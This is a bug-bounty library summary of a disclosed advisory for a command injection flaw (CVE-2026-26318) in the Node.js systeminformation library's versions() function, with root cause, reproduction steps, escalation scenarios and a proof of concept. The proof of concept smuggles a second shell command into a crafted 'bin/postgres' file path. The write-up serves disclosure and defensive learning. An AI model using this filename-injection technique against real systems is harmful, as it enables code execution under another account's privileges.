# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

systeminformation's versions() concatenates unsanitized `locate bin/postgres` output into exec(), so a filename with semicolons yields OS command injection on Linux.

- Payout: Research
- Severity: high
- Program: systeminformation
- Found by: Sanu1999, nikpivkin
- Disclosed: 2026-02-18
- CVE: CVE-2026-26318
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5vv4-hvf7-2h46
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5vv4-hvf7-2h46
- Tags: area:oss domain:oss impact:privesc impact:rce kind:research platform:ghsa sev:high tech:linux tech:nodejs technique:source-review vuln:command-injection vuln:rce

**Target:** Node.js library versions() PostgreSQL detection on Linux
**Root cause:** The last line of `locate bin/postgres` output is concatenated into an exec() shell string with `+ ' -V'` without sanitizeShellString() or path validation, so shell metacharacters in an indexed filename are interpreted by /bin/sh -c.
**Steps:**
1. Confirm locate/plocate installed and updatedb timer active; `locate bin/postgres` returns results.
2. Create a file whose path contains injected commands: `mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"` then `touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"`.
3. Wait for updatedb (or `sudo updatedb`) so the path enters the locate database; verify with `locate bin/postgres`.
4. Rely on alphabetical sort: `/var/...` sorts after `/usr/...`, so the malicious path is the last element selected.
5. Trigger `si.versions('postgresql')`; library executes `/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V` via /bin/sh -c.
6. Verify `ls -la /tmp/SI_RCE_PROOF` exists, confirming command execution as the Node process user.
**How found:** Code review of the versions() PostgreSQL branch noticed raw concatenation of locate output into exec() with no sanitizeShellString(), then reasoned that locate indexes arbitrary filenames and Linux permits semicolons, and that sort() picks the alphabetically last path.
**Exploitation:** Attacker with filesystem write access creates a semicolon-laden path ending in bin/postgres, waits for updatedb to index it, and any application calling versions() executes the injected command under the Node service account; demonstrated with a touch proof file.
**Escalation:** Scenarios: low-priv shared-hosting user pivots to higher-priv monitoring agent; CI/CD PR poisons build runner to leak secrets; shared volume container breakout to host monitoring agent.
**Insight:** When a tool's output (locate, find, ls) is fed back into a shell, treat the filesystem as attacker-controlled input: filenames can carry metacharacters, and sort-order selection can be steered by choosing a path prefix like /var that sorts last.

## Proof of concept (copied exactly from the original report)

**Malicious filename with injected touch command**

```
mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"
```

**Node script proving sort selects malicious path**

```
node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"
```

**Innocent versions() call triggering injection**

```
const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});
```

